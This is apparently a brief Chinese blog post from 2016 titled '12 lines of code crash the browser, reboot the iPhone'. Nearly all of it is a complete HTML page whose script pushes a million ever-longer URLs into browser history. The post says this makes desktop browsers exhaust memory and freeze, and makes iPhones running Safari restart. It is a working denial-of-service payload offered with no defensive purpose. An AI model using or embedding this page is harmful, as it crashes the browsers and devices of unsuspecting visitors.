12行代码 让浏览器崩溃,iPhone重启

<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
    total= total+i.toString();
    history.pushState(0,0,total);
}
</script>
</body>
</html>

浏览器访问,机器内存飙升,直至卡死
iPhone使用safiri访问,直接注销重启
posted @ 2016-01-28 11:46  踏雪无痕何处是  阅读(247)  评论(0编辑  收藏  举报